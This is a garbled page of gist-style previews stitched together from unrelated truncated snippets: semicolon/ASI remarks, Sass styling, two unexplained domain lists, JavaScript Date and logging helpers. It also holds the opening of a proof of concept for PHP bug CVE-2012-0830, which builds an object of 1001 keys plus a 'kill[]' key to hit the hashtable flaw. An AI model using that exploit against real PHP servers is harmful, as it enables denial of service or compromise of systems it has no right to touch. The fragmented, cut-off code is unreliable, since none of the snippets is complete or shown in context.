I use it. If you don't, read these:
You can still ignore semicolons, but know that ASI is a syntactic error correction procedure,
| // Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c) | |
| // http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/ | |
| // Generate 1000 normal keys and one array | |
| function createEvilObj () { | |
| var evil_obj = {}; | |
| for (var i = 0; i < 1001; i++) { | |
| evil_obj[i] = 1; | |
| } | |
| evil_obj['kill[]'] = 'kill'; |
| // Agenda user | |
| #agenda-user | |
| overflow: hidden | |
| margin: 15px | |
| #agenda-user-list-area | |
| width: 290px | |
| float: left | |
| #agenda-user-list-container | |
| +size(100%, 260px) | |
| overflow: hidden |
| .audi-info-details | |
| +size(505px, 106px) | |
| margin: 0 0 0 15px | |
| float: left | |
| h2 | |
| +text-shadow(#999 0 -1px 0px) | |
| +box-shadow(rgba(0,0,0,0.3) 1px 1px 2px 0) | |
| background: $azul-logo | |
| padding: 5px 0 5px 10px | |
| color: #fff |
| www.cheiroverdeilhabela.com.brDISABLED0 | |
| pizzacreek.comDISABLED0 | |
| www.realgessosp.com.brDISABLED0 | |
| www.lojalonglife.com.brDISABLED0 | |
| c4r4.comDISABLED0 | |
| www.98fm.net.brDISABLED0 | |
| campinamotofest.comDISABLED0 | |
| www.sanguecorinthiano.com.brDISABLED0 | |
| fivam.com.brDISABLED0 |
| 0-style.com | |
| 4wheelerforum.com | |
| 5193333.com | |
| 6044332211.com | |
| a-b-construction.com | |
| aboutmeditation.org | |
| accommodation-pattaya.com | |
| achum.com | |
| actionwest.com |
I use it. If you don't, read these:
You can still ignore semicolons, but know that ASI is a syntactic error correction procedure,
| Object.defineProperty(Date.prototype,"diff",{ | |
| writable: false, configurable: false, enumerable: true, | |
| /** | |
| * Returns the difference between two Date objects. | |
| * @param {Date} The date to compare to. | |
| * @return {Object} | |
| * @throws {TypeError} | |
| */ | |
| value: function(date) { |
| // usage: log('inside coolFunc', this, arguments); | |
| window.log = function f() { | |
| log.history = log.history || []; | |
| log.history.push(arguments); | |
| if (this.console) { | |
| var args = arguments, | |
| newarr; | |
| args.callee = args.callee.caller; | |
| newarr = [].slice.call(args); | |
| if (typeof console.log === 'object') log.apply.call(console.log, console, newarr); |
| // make it safe to use console.log always | |
| (function (a) { | |
| function b() {} | |
| for (var c = "assert,count,debug,dir,dirxml,error,exception,group,groupCollapsed,groupEnd,info,log,markTimeline,profile,profileEnd,time,timeEnd,trace,warn".split(","), d; !! (d = c.pop());) { | |
| a[d] = a[d] || b; | |
| } | |
| }) | |
| (function () { | |
| try { | |
| console.log(); |